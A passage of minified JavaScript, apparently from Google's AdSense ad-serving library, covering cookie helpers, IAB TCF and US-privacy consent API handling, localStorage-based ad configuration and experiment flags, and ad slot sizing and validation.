h=c.jb}if(/[;=\s]/.test(a))throw Error('Invalid cookie name "'+a+'"');if(/[;\r\n]/.test(b))throw Error('Invalid cookie value "'+b+'"');void 0===h&&(h=-1);this.h.cookie=a+"="+b+(f?";domain="+f:"")+(g?";path="+g:"")+(0>h?"":0==h?";expires="+(new Date(1970,1,1)).toUTCString():";expires="+(new Date(Date.now()+1E3*h)).toUTCString())+(d?";secure":"")+(null!=e?";samesite="+ e:"")};Jj.prototype.get=function(a,b){for(var c=a+"=",d=(this.h.cookie||"").split(";"),e=0,f;e<d.length;e++){f=Ja(d[e]);if(0==f.lastIndexOf(c,0))return f.substr(c.length);if(f==a)return""}return b};Jj.prototype.isEmpty=function(){return!this.h.cookie}; Jj.prototype.clear=function(){for(var a=(this.h.cookie||"").split(";"),b=[],c=[],d,e,f=0;f<a.length;f++)e=Ja(a[f]),d=e.indexOf("="),-1==d?(b.push(""),c.push(e)):(b.push(e.substring(0,d)),c.push(e.substring(d+1)));for(a=b.length-1;0<=a;a--)c=b[a],this.get(c),this.set(c,"",{jb:0,path:void 0,domain:void 0})};function Kj(a){J.call(this,a)}v(Kj,J);function Lj(a){var b=new Kj;return B(b,5,a)};function Mj(){this.A=this.A;this.G=this.G}Mj.prototype.A=!1;Mj.prototype.j=function(){if(this.G)for(;this.G.length;)this.G.shift()()};function Nj(a){void 0!==a.addtlConsent&&"string"!==typeof a.addtlConsent&&(a.addtlConsent=void 0);void 0!==a.gdprApplies&&"boolean"!==typeof a.gdprApplies&&(a.gdprApplies=void 0);return void 0!==a.tcString&&"string"!==typeof a.tcString||void 0!==a.listenerId&&"number"!==typeof a.listenerId?2:a.cmpStatus&&"error"!==a.cmpStatus?0:3}function Oj(a,b){b=void 0===b?500:b;Mj.call(this);this.h=a;this.i=null;this.m={};this.H=0;this.C=b;this.l=null}v(Oj,Mj); Oj.prototype.j=function(){this.m={};this.l&&(yc(this.h,this.l),delete this.l);delete this.m;delete this.h;delete this.i;Mj.prototype.j.call(this)};function Pj(a){return"function"===typeof a.h.__tcfapi||null!=Qj(a)} Oj.prototype.addEventListener=function(a){function b(f,g){clearTimeout(e);f?(c=f,c.internalErrorState=Nj(c),g&&0===c.internalErrorState||(c.tcString="tcunavailable",g||(c.internalErrorState=3))):(c.tcString="tcunavailable",c.internalErrorState=3);a(c)}var c={},d=wc(function(){return a(c)}),e=0;-1!==this.C&&(e=setTimeout(function(){c.tcString="tcunavailable";c.internalErrorState=1;d()},this.C));try{Rj(this,"addEventListener",b)}catch(f){c.tcString="tcunavailable",c.internalErrorState=3,e&&(clearTimeout(e), e=0),d()}};Oj.prototype.removeEventListener=function(a){a&&a.listenerId&&Rj(this,"removeEventListener",null,a.listenerId)};function Rj(a,b,c,d){c||(c=function(){});if("function"===typeof a.h.__tcfapi)a=a.h.__tcfapi,a(b,2,c,d);else if(Qj(a)){Sj(a);var e=++a.H;a.m[e]=c;a.i&&(c={},a.i.postMessage((c.__tcfapiCall={command:b,version:2,callId:e,parameter:d},c),"*"))}else c({},!1)}function Qj(a){if(a.i)return a.i;a.i=$c(a.h,"__tcfapiLocator");return a.i} function Sj(a){a.l||(a.l=function(b){try{var c=("string"===typeof b.data?JSON.parse(b.data):b.data).__tcfapiReturn;a.m[c.callId](c.returnValue,c.success)}catch(d){}},xc(a.h,"message",a.l))};function Tj(a){var b=a.u,c=a.ta,d=a.Ia;a=Uj({u:b,Z:a.Z,ka:void 0===a.ka?!1:a.ka,la:void 0===a.la?!1:a.la});null!=a.h||"tcunav"!=a.i.message?d(a):Vj(b,c).then(function(e){return e.map(Wj)}).then(function(e){return e.map(function(f){return Xj(b,f)})}).then(d)} function Uj(a){var b=a.u,c=a.Z,d=void 0===a.ka?!1:a.ka;if(!(a=!(void 0===a.la?0:a.la)&&Pj(new Oj(b)))){if(d=!d){if(c){c=Bj(b);if(null==c.h)Ui.I(806,c.i,void 0,void 0),c=!1;else if((c=c.h.value)&&null!=A(c,1))b:switch(c=A(c,1),c){case 1:c=!0;break b;default:throw Error("Unhandled AutoGdprFeatureStatus: "+c);}else c=!1;c=!c}d=c}a=d}if(!a)return Xj(b,Lj(!0));c=Dj();return(c=Hj(c,24))?Xj(b,Wj(c)):Fd(Error("tcunav"))}function Vj(a,b){return p.Promise.race([Yj(),Zj(a,b)])} function Yj(){return(new p.Promise(function(a){var b=Dj();a={resolve:a};var c=Hj(b,25,[]);c.push(a);b.S[Fj(25)]=c})).then(ak)}function Zj(a,b){return new p.Promise(function(c){a.setTimeout(c,b,Fd(Error("tcto")))})}function ak(a){return a?Dd(a):Fd(Error("tcnull"))} function Wj(a){var b=void 0===b?!1:b;if(!1===a.gdprApplies)var c=!0;else void 0===a.internalErrorState&&(a.internalErrorState=Nj(a)),c="error"===a.cmpStatus||0!==a.internalErrorState||"loaded"===a.cmpStatus&&("tcloaded"===a.eventStatus||"useractioncomplete"===a.eventStatus)?!0:!1;if(c)if(!1===a.gdprApplies||"tcunavailable"===a.tcString||void 0===a.gdprApplies&&!b||"string"!==typeof a.tcString||!a.tcString.length)a=!0;else{var d=void 0===d?"755":d;b:{if(a.publisher&&a.publisher.restrictions&&(b=a.publisher.restrictions["1"], void 0!==b)){b=b[void 0===d?"755":d];break b}b=void 0}0===b?a=!1:a.purpose&&a.vendor?(b=a.vendor.consents,(d=!(!b||!b[void 0===d?"755":d]))&&a.purposeOneTreatment&&"CH"===a.publisherCC?a=!0:(d&&(a=a.purpose.consents,d=!(!a||!a["1"])),a=d)):a=!0}else a=!1;return Lj(a)}function Xj(a,b){a:{a=void 0===a?window:a;if(xb(b,5))try{var c=a.localStorage;break a}catch(d){}c=null}return(b=c)?Dd(b):Fd(Error("unav"))};function bk(a){J.call(this,a)}v(bk,J);function ck(a){J.call(this,a,-1,dk)}v(ck,J);var dk=[1,2];function ek(a){this.exception=a}function fk(a,b,c){this.j=a;this.h=b;this.i=c}fk.prototype.start=function(){this.l()};fk.prototype.l=function(){try{switch(this.j.document.readyState){case "complete":case "interactive":wj(this.h,!0);gk(this);break;default:wj(this.h,!1)?gk(this):this.j.setTimeout(Ea(this.l,this),100)}}catch(a){gk(this,a)}};function gk(a,b){try{var c=a.i,d=c.resolve,e=a.h;Ri(e.h);H(e.j,ce,1);d.call(c,new ek(b))}catch(f){a.i.reject(f)}};function hk(a){J.call(this,a,-1,ik)}v(hk,J);function jk(a){J.call(this,a)}v(jk,J);function kk(a){J.call(this,a)}v(kk,J);var ik=[7];function lk(a){a=(a=(new Jj(a)).get("FCCDCF",""))?a:null;try{return a?Nb(hk,a):null}catch(b){return null}};Zb({Gb:0,Fb:1,Cb:2,xb:3,Db:4,yb:5,Eb:6,Ab:7,Bb:8,wb:9,zb:10}).map(function(a){return Number(a)});Zb({Ib:0,Jb:1,Hb:2}).map(function(a){return Number(a)});function mk(a){function b(){if(!a.frames.__uspapiLocator)if(c.body){var d=Mc("IFRAME",c);d.style.display="none";d.style.width="0px";d.style.height="0px";d.style.border="none";d.style.zIndex="-1000";d.style.left="-1000px";d.style.top="-1000px";d.name="__uspapiLocator";c.body.appendChild(d)}else a.setTimeout(b,5)}var c=a.document;b()};function nk(a){this.h=a;this.i=a.document;this.j=(a=(a=lk(this.i))?G(a,kk,5)||null:null)?A(a,2):null;(a=lk(this.i))&&G(a,jk,4);(a=lk(this.i))&&G(a,jk,4)}function ok(){var a=window;a.__uspapi||a.frames.__uspapiLocator||(a=new nk(a),pk(a))}function pk(a){!a.j||a.h.__uspapi||a.h.frames.__uspapiLocator||(a.h.__uspapiManager="fc",mk(a.h),Ga(function(){return a.l.apply(a,ka(ta.apply(0,arguments)))}))} nk.prototype.l=function(a,b,c){"function"===typeof c&&"getUSPData"===a&&c({version:1,uspString:this.j},!0)};function qk(a){J.call(this,a)}v(qk,J);qk.prototype.getWidth=function(){return C(this,1,0)};qk.prototype.getHeight=function(){return C(this,2,0)};function rk(a){J.call(this,a)}v(rk,J);function sk(a){J.call(this,a)}v(sk,J);var tk=[4,5];function uk(a){var b=/[a-zA-Z0-9._~-]/,c=/%[89a-zA-Z]./;return a.replace(/(%[a-zA-Z0-9]{2})/g,function(d){if(!d.match(c)){var e=decodeURIComponent(d);if(e.match(b))return e}return d.toUpperCase()})}function vk(a){for(var b="",c=/[/%?&=]/,d=0;d<a.length;++d){var e=a[d];b=e.match(c)?b+e:b+encodeURIComponent(e)}return b};function wk(a,b){a=vk(uk(a.location.pathname)).replace(/(^\/)|(\/$)/g,"");var c=Tc(a),d=xk(a);return r(b,"find").call(b,function(e){var f=null!=A(e,7)?A(G(e,oe,7),1):A(e,1);e=null!=A(e,7)?A(G(e,oe,7),2):2;if("number"!==typeof f)return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function xk(a){for(var b={};;){b[Tc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};var yk={},zk=(yk.google_ad_channel=!0,yk.google_ad_host=!0,yk);function Ak(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));Yi("ama",b,.01)}function Bk(a){var b={};Sc(zk,function(c,d){d in a&&(b[d]=a[d])});return b};function Ck(a){a=G(a,le,3);return!a||A(a,1)<=Date.now()?!1:!0}function Dk(a){return(a=zj(a))?Ck(a)?a:null:null}function Ek(a,b){try{b.removeItem("google_ama_config")}catch(c){Ak(a,{lserr:1})}};function Fk(a){J.call(this,a)}v(Fk,J);function Gk(a){J.call(this,a,-1,Hk)}v(Gk,J);var Hk=[1];function Ik(a){J.call(this,a,-1,Jk)}v(Ik,J);Ik.prototype.getId=function(){return C(this,1,0)};Ik.prototype.V=function(){return C(this,7,0)};var Jk=[2];function Kk(a){J.call(this,a,-1,Lk)}v(Kk,J);Kk.prototype.V=function(){return C(this,5,0)};var Lk=[2];function Mk(a){J.call(this,a,-1,Nk)}v(Mk,J);function Ok(a){J.call(this,a,-1,Pk)}v(Ok,J);Ok.prototype.V=function(){return C(this,1,0)};function Qk(a){J.call(this,a)}v(Qk,J);var Nk=[1,4,2,3],Pk=[2];function Rk(a){J.call(this,a,-1,Sk)}v(Rk,J);function Tk(a){return Ib(a,Gk,14,Uk)}var Sk=[19],Uk=[13,14];var Vk=void 0;function Wk(){Yf(Vk,Xf);return Vk}function Xk(a){Yf(Vk,$f);Vk=a};function Yk(a,b,c,d){c=void 0===c?"":c;return 1===b&&Zk(c,void 0===d?null:d)?!0:$k(a,c,function(e){return Ua(H(e,Tb,2),function(f){return A(f,1)===b})})}function Zk(a,b){return b?13===Cb(b,Uk)?D(Ib(b,Fk,13,Uk),1):14===Cb(b,Uk)&&""!==a&&1===wb(Tk(b),1).length&&wb(Tk(b),1)[0]===a?D(G(Tk(b),Fk,2),1):!1:!1}function al(a,b){b=C(b,18,0);-1!==b&&(a.tmod=b)}function bl(a){var b=void 0===b?"":b;var c=Ic(L)||L;return cl(c,a)?!0:$k(L,b,function(d){return Ua(wb(d,3),function(e){return e===a})})} function dl(a){return $k(w,void 0===a?"":a,function(){return!0})}function cl(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Xa(a.split(","),b.toString())}function $k(a,b,c){a=Ic(a)||a;var d=el(a);b&&(b=rd(String(b)));return Yb(d,function(e,f){return Object.prototype.hasOwnProperty.call(d,f)&&(!b||b===f)&&c(e)})}function el(a){a=fl(a);var b={};Sc(a,function(c,d){try{var e=new Rb(c);b[d]=e}catch(f){}});return b} function fl(a){return P(xe)?(a=Uj({u:a,Z:Wk()}),null!=a.h?(gl("ok"),a=hl(a.h.value)):(gl(a.i.message),a={}),a):hl(a.localStorage)}function hl(a){try{var b=a.getItem("google_adsense_settings");if(!b)return{};var c=JSON.parse(b);return c!==Object(c)?{}:Xb(c,function(d,e){return Object.prototype.hasOwnProperty.call(c,e)&&"string"===typeof e&&Array.isArray(d)})}catch(d){return{}}}function gl(a){P(we)&&Yi("abg_adsensesettings_lserr",{s:a,g:P(xe),c:Wk(),r:.01},.01)};function il(a,b,c,d){jl(new kl(a,b,c,d))}function kl(a,b,c,d){this.u=a;this.i=b;this.j=c;this.h=d}function jl(a){Ed(Cd(Uj({u:a.u,Z:D(a.i,6)}),function(b){ll(a,b,!0)}),function(){ml(a)})}function ll(a,b,c){Ed(Cd(nl(b),function(d){ol("ok");a.h(d)}),function(){Ek(a.u,b);c?ml(a):a.h(null)})}function ml(a){Ed(Cd(pl(a),a.h),function(){ql(a)})}function ql(a){Tj({u:a.u,Z:D(a.i,6),ta:50,Ia:function(b){rl(a,b)}})}function nl(a){return(a=Dk(a))?Dd(a):Fd(Error("invlocst"))} function pl(a){a:{var b=a.u;var c=a.j;a=a.i;if(13===Cb(a,Uk))b=(b=G(G(Ib(a,Fk,13,Uk),bk,2),ck,2))&&0<H(b,ce,1).length?b:null;else{if(14===Cb(a,Uk)){var d=wb(Tk(a),1),e=G(G(G(Tk(a),Fk,2),bk,2),ck,2);if(1===d.length&&d[0]===c&&e&&0<H(e,ce,1).length&&I(a,17)===b.location.host){b=e;break a}}b=null}}b?(c=new je,a=H(b,ce,1),c=Gb(c,1,a),b=H(b,me,2),b=Gb(c,7,b),b=Dd(b)):b=Fd(Error("invtag"));return b}function rl(a,b){Ed(Cd(b,function(c){ll(a,c,!1)}),function(c){ol(c.message);a.h(null)})} function ol(a){Yi("abg::amalserr",{status:a,guarding:"true",timeout:50,rate:.01},.01)};function sl(a){Ak(a,{atf:1})}function tl(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;Ak(a,{atf:0})};function U(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function ul(a){a=U(a);var b=a.space_collapsing||"none";return a.remove_ads_by_default?{Fa:!0,tb:b,qa:a.ablation_viewport_offset}:null}function vl(a,b){a=U(a);a.had_ads_ablation=!0;a.remove_ads_by_default=!0;a.space_collapsing="slot";a.ablation_viewport_offset=b}function wl(a){U(L).allow_second_reactive_tag=a} function xl(){var a=U(window);a.afg_slotcar_vars||(a.afg_slotcar_vars={});return a.afg_slotcar_vars};function yl(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=zl(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function zl(a){var b="";Sc(a.split("_"),function(c){b+=c.substr(0,2)});return b};$a||!x("Safari")||Oa();function Al(){var a=this;this.promise=new p.Promise(function(b,c){a.resolve=b;a.reject=c})};function Bl(){var a=new Al;return{promise:a.promise,resolve:a.resolve}};function Cl(a){a=void 0===a?function(){}:a;w.google_llp||(w.google_llp={});var b=w.google_llp,c=b[7];if(c)return c;c=Bl();b[7]=c;a();return c}function Dl(a){return Cl(function(){Lc(w.document,a)}).promise};function El(a){var b={};return{enable_page_level_ads:(b.pltais=!0,b),google_ad_client:a}};function Fl(a){if(w.google_apltlad||w!==w.top||!a.google_ad_client)return null;w.google_apltlad=!0;var b=El(a.google_ad_client),c=b.enable_page_level_ads;Sc(a,function(d,e){Ei[e]&&"google_ad_client"!==e&&(c[e]=d)});c.google_pgb_reactive=7;if("google_ad_section"in a||"google_ad_region"in a)c.google_ad_section=a.google_ad_section||a.google_ad_region;return b}function Gl(a){return ya(a.enable_page_level_ads)&&7===a.enable_page_level_ads.google_pgb_reactive};function Hl(a,b){this.h=w;this.i=a;this.j=b}function Il(a){P(lf)?il(a.h,a.j,a.i.google_ad_client||"",function(b){var c=a.h,d=a.i;U(L).ama_ran_on_page||b&&Jl(c,d,b)}):Tj({u:a.h,Z:D(a.j,6),ta:50,Ia:function(b){return Kl(a,b)}})}function Kl(a,b){Ed(Cd(b,function(c){Ll("ok");var d=a.h,e=a.i;if(!U(L).ama_ran_on_page){var f=Dk(c);f?Jl(d,e,f):Ek(d,c)}}),function(c){return Ll(c.message)})}function Ll(a){Yi("abg::amalserr",{status:a,guarding:!0,timeout:50,rate:.01},.01)} function Jl(a,b,c){if(null!=A(c,24)){var d=Si(a);d.availableAbg=!0;var e,f;d.ablationFromStorage=!!(null==(e=G(c,ee,24))?0:null==(f=G(e,ge,3))?0:Ib(f,he,2,ie))}if(Gl(b)&&(d=wk(a,H(c,me,7)),!d||!xb(d,8)))return;U(L).ama_ran_on_page=!0;var g;if(null==(g=G(c,re,15))?0:xb(g,23))U(a).enable_overlap_observer=!0;if((g=G(c,pe,13))&&1===A(g,1)){var h=0,k=G(g,qe,6);k&&A(k,3)&&(h=A(k,3)||0);vl(a,h)}else if(null==(h=G(c,ee,24))?0:null==(k=G(h,ge,3))?0:Ib(k,he,2,ie))Si(a).ablatingThisPageview=!0,vl(a,1);kd(3, [c.toJSON()]);var l=b.google_ad_client||"";b=Bk(ya(b.enable_page_level_ads)?b.enable_page_level_ads:{});var m=Rd(Vd,new Qd(null,b));Wi(782,function(){var q=m;try{var t=wk(a,H(c,me,7)),y;if(y=t)a:{var F=wb(t,2);if(F)for(var z=0;z<F.length;z++)if(1==F[z]){y=!0;break a}y=!1}if(y){if(A(t,4)){y={};var E=new Qd(null,(y.google_package=A(t,4),y));q=Rd(q,E)}var S=new vj(a,l,c,t,q),rb=new sd;(new fk(a,S,rb)).start();rb.i.then(Fa(sl,a),Fa(tl,a))}}catch(Kc){Ak(a,{atf:-1})}})};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var Ml=ja(["https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700"]);function Nl(a,b){return a instanceof HTMLScriptElement&&b.test(a.src)?0:1}function Ol(a){var b=L.document;if(b.currentScript)return Nl(b.currentScript,a);b=u(b.scripts);for(var c=b.next();!c.done;c=b.next())if(0===Nl(c.value,a))return 0;return 1};function Pl(a,b){var c={},d={},e={},f={};return f[fg]=(c[55]=function(){return 0===a},c[23]=function(g){return Yk(L,Number(g))},c[24]=function(g){return bl(Number(g))},c[61]=function(){return D(b,6)},c[63]=function(){return D(b,6)||".google.ch"===I(b,8)},c),f[gg]=(d[7]=function(g){try{var h=window.localStorage}catch(l){h=null}g=Number(g);g=void 0===g?0:g;g=0!==g?"google_experiment_mod"+g:"google_experiment_mod";var k=Vc(h,g);h=null===k?Wc(h,g):k;return null!=h?h:void 0},d),f[hg]=(e[6]=function(){return I(b, 15)},e),f};function Ql(a){a=void 0===a?w:a;return a.ggeac||(a.ggeac={})};function Rl(a,b){try{var c=a.split(".");a=w;for(var d=0,e;null!=a&&d<c.length;d++)e=a,a=a[c[d]],"function"===typeof a&&(a=e[c[d]]());var f=a;if(typeof f===b)return f}catch(g){}} function Sl(){var a={};this[fg]=(a[8]=function(b){try{return null!=va(b)}catch(c){}},a[9]=function(b){try{var c=va(b)}catch(d){return}if(b="function"===typeof c)c=c&&c.toString&&c.toString(),b="string"===typeof c&&-1!=c.indexOf("[native code]");return b},a[10]=function(){return window==window.top},a[6]=function(b){return Xa(O(Oh).h(),parseInt(b,10))},a[27]=function(b){b=Rl(b,"boolean");return void 0!==b?b:void 0},a[60]=function(b){try{return!!w.document.querySelector(b)}catch(c){}},a);a={};this[gg]= (a[3]=function(){return ad()},a[6]=function(b){b=Rl(b,"number");return void 0!==b?b:void 0},a[11]=function(b){b=void 0===b?"":b;var c=w;b=void 0===b?"":b;c=void 0===c?window:c;b=(c=(c=c.location.href.match(Ec)[3]||null)?decodeURI(c):c)?Tc(c+b):null;return null==b?void 0:b%1E3},a);a={};this[hg]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=Rl(b,"string");return void 0!==b?b:void 0},a[10]=function(){try{var b= w.document;return b.visibilityState||b.webkitVisibilityState||b.mozVisibilityState||""}catch(c){return""}},a[11]=function(){try{var b,c,d,e,f;return null!=(f=null==(d=null==(b=va("google_tag_data"))?void 0:null==(c=b.uach)?void 0:c.fullVersionList)?void 0:null==(e=r(d,"find").call(d,function(g){return"Google Chrome"===g.brand}))?void 0:e.version)?f:""}catch(g){return""}},a)};var Tl=[12,13,20];function Ul(){}Ul.prototype.init=function(a,b,c,d){var e=this;d=void 0===d?{}:d;var f=void 0===d.Ka?!1:d.Ka,g=void 0===d.kb?{}:d.kb;d=void 0===d.mb?[]:d.mb;this.l=a;this.A={};this.G=f;this.m=g;a={};this.i=(a[b]=[],a[4]=[],a);this.j={};(b=Wh())&&Ra(b.split(",")||[],function(h){(h=parseInt(h,10))&&(e.j[h]=!0)});Ra(d,function(h){e.j[h]=!0});this.h=c;return this}; function Vl(a,b,c){var d=[],e=Wl(a.l,b),f;if(f=9!==b)a.A[b]?f=!0:(a.A[b]=!0,f=!1);if(f){var g;null==(g=a.h)||Yg(g,b,c,d,[],4);return d}if(!e.length){var h;null==(h=a.h)||Yg(h,b,c,d,[],3);return d}var k=Xa(Tl,b),l=[];Ra(e,function(q){var t=new Jg;if(q=Xl(a,q,c,t))0!==Cb(t,Kg)&&l.push(t),t=q.getId(),d.push(t),Yl(a,t,k?4:c),(q=H(q,qg,2))&&(k?oh(q,qh(),a.h,t):oh(q,[c],a.h,t))});var m;null==(m=a.h)||Yg(m,b,c,d,l,1);return d}function Yl(a,b,c){a.i[c]||(a.i[c]=[]);a=a.i[c];Xa(a,b)||a.push(b)} function Zl(a,b){a.l.push.apply(a.l,ka(Sa(Ta(b,function(c){return new Ok(c)}),function(c){return!Xa(Tl,c.V())})))} function Xl(a,b,c,d){var e=O(ah).h;if(!mg(G(b,ag,3),e))return null;var f=H(b,Ik,2),g=C(b,6,0);if(g){Bb(d,1,Kg,g);f=e[gg];switch(c){case 2:var h=f[8];break;case 1:h=f[7]}c=void 0;if(h)try{c=h(g),Ab(d,3,c)}catch(k){}return(b=$l(b,c))?am(a,[b],1):null}if(g=C(b,10,0)){Bb(d,2,Kg,g);h=null;switch(c){case 1:h=e[gg][9];break;case 2:h=e[gg][10];break;default:return null}c=h?h(String(g)):void 0;if(void 0===c&&1===C(b,11,0))return null;void 0!==c&&Ab(d,3,c);return(b=$l(b,c))?am(a,[b],1):null}d=e?Sa(f,function(k){return mg(G(k, ag,3),e)}):f;if(!d.length)return null;c=d.length*C(b,1,0);return(b=C(b,4,0))?bm(a,b,c,d):am(a,d,c/1E3)}function bm(a,b,c,d){var e=null!=a.m[b]?a.m[b]:1E3;if(0>=e)return null;d=am(a,d,c/e);a.m[b]=d?0:e-c;return d}function am(a,b,c){var d=a.j,e=Va(b,function(f){return!!d[f.getId()]});return e?e:a.G?null:Oc(b,c)} function cm(a,b){Jh(th,function(c){a.j[c]=!0},b);Jh(wh,function(c,d){return Vl(a,c,d)},b);Jh(xh,function(c){return(a.i[c]||[]).concat(a.i[4])},b);Jh(Gh,function(c){return Zl(a,c)},b);Jh(uh,function(c,d){return Yl(a,c,d)},b)}function Wl(a,b){return(a=Va(a,function(c){return c.V()==b}))&&H(a,Kk,2)||[]}function $l(a,b){var c=H(a,Ik,2),d=c.length,e=C(a,8,0);a=d*C(a,1,0)-1;b=void 0!==b?b:Math.floor(1E3*Rc());d=(b-e)%d;if(b<e||b-e-d>=a)return null;c=c[d];e=O(ah).h;return!c||e&&!mg(G(c,ag,3),e)?null:c};function dm(){this.h=function(){}}function em(a){O(dm).h(a)};var fm,gm,hm,im,jm,km; function lm(a,b,c,d){var e=1;d=void 0===d?Ql():d;e=void 0===e?0:e;var f=void 0===f?new Tg(null!=(im=null==(fm=G(a,Qk,5))?void 0:C(fm,2,0))?im:0,null!=(jm=null==(gm=G(a,Qk,5))?void 0:C(gm,4,0))?jm:0,null!=(km=null==(hm=G(a,Qk,5))?void 0:D(hm,3))?km:!1):f;d.hasOwnProperty("init-done")?(Kh(Gh,d)(Ta(H(a,Ok,2),function(g){return g.toJSON()})),Kh(Hh,d)(Ta(H(a,qg,1),function(g){return g.toJSON()}),e),b&&Kh(Ih,d)(b),mm(d,e)):(cm(O(Ul).init(H(a,Ok,2),e,f,c),d),Lh(d),Mh(d),Nh(d),mm(d,e),oh(H(a,qg,1),[e],f, void 0,!0),bh=bh||!(!c||!c.hb),em(O(Sl)),b&&em(b))}function mm(a,b){a=void 0===a?Ql():a;b=void 0===b?0:b;var c=a,d=b;d=void 0===d?0:d;Ph(O(Oh),c,d);nm(a,b);O(dm).h=Kh(Ih,a);O(yf).m()}function nm(a,b){var c=O(yf);c.i=function(d,e){return Kh(zh,a,function(){return!1})(d,e,b)};c.j=function(d,e){return Kh(Ah,a,function(){return 0})(d,e,b)};c.l=function(d,e){return Kh(Bh,a,function(){return""})(d,e,b)};c.h=function(d,e){return Kh(Ch,a,function(){return[]})(d,e,b)};c.m=function(){Kh(vh,a)(b)}};function om(a,b,c){var d=U(a);if(d.plle)mm(Ql(a),1);else{d.plle=!0;try{var e=a.localStorage}catch(f){e=null}d=e;null==Vc(d,"goog_pem_mod")&&Wc(d,"goog_pem_mod");d=G(b,Mk,12);e=D(b,9);lm(d,Pl(c,b),{Ka:e&&!!a.google_disable_experiments,hb:e},Ql(a));if(c=I(b,15))c=Number(c),O(Oh).l(c);if(c=I(b,10))c=Number(c),O(Oh).i(c);b=u(wb(b,19));for(c=b.next();!c.done;c=b.next())c=c.value,O(Oh).i(c);O(Oh).j(12);O(Oh).j(10);a=Ic(a)||a;yl(a.location,"google_mc_lab")&&O(Oh).i(44738307)}};function pm(a,b,c){a=a.style;a.border="none";a.height=c+"px";a.width=b+"px";a.margin=0;a.padding=0;a.position="relative";a.visibility="visible";a.backgroundColor="transparent"};var qm={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function rm(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function V(a,b,c,d){d=void 0===d?!1:d;wi.call(this,a,b);this.da=c;this.ib=d}v(V,wi);V.prototype.pa=function(){return this.da};V.prototype.i=function(a,b,c){b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};function sm(a){return function(b){return!!(b.da&a)}};var tm={},um=(tm.image_stacked=1/1.91,tm.image_sidebyside=1/3.82,tm.mobile_banner_image_sidebyside=1/3.82,tm.pub_control_image_stacked=1/1.91,tm.pub_control_image_sidebyside=1/3.82,tm.pub_control_image_card_stacked=1/1.91,tm.pub_control_image_card_sidebyside=1/3.74,tm.pub_control_text=0,tm.pub_control_text_card=0,tm),vm={},wm=(vm.image_stacked=80,vm.image_sidebyside=0,vm.mobile_banner_image_sidebyside=0,vm.pub_control_image_stacked=80,vm.pub_control_image_sidebyside=0,vm.pub_control_image_card_stacked= 85,vm.pub_control_image_card_sidebyside=0,vm.pub_control_text=80,vm.pub_control_text_card=80,vm),xm={},ym=(xm.pub_control_image_stacked=100,xm.pub_control_image_sidebyside=200,xm.pub_control_image_card_stacked=150,xm.pub_control_image_card_sidebyside=250,xm.pub_control_text=100,xm.pub_control_text_card=150,xm); function zm(a){var b=0;a.T&&b++;a.J&&b++;a.K&&b++;if(3>b)return{M:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.T.split(",");var c=a.K.split(",");a=a.J.split(",");if(b.length!==c.length||b.length!==a.length)return{M:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'}; if(2<b.length)return{M:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g= Number(c[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{K:d,J:e,Na:b}} function Am(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Bm=Za("script");function Cm(a,b,c,d,e,f,g,h,k,l,m,q){this.A=a;this.U=b;this.da=void 0===c?null:c;this.h=void 0===d?null:d;this.P=void 0===e?null:e;this.i=void 0===f?null:f;this.j=void 0===g?null:g;this.H=void 0===h?null:h;this.N=void 0===k?null:k;this.l=void 0===l?null:l;this.m=void 0===m?null:m;this.O=void 0===q?null:q;this.R=this.C=this.G=null}Cm.prototype.size=function(){return this.U}; function Dm(a,b,c){null!=a.da&&(c.google_responsive_formats=a.da);null!=a.P&&(c.google_safe_for_responsive_override=a.P);null!=a.i&&(!0===a.i?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.i));null!=a.j&&!0!==a.j&&(c.gfwrnher=a.j);var d=a.m||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.l||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.size().h(b);var e=a.size().height();if(!c.google_ad_resize){c.google_ad_width=d;c.google_ad_height= e;var 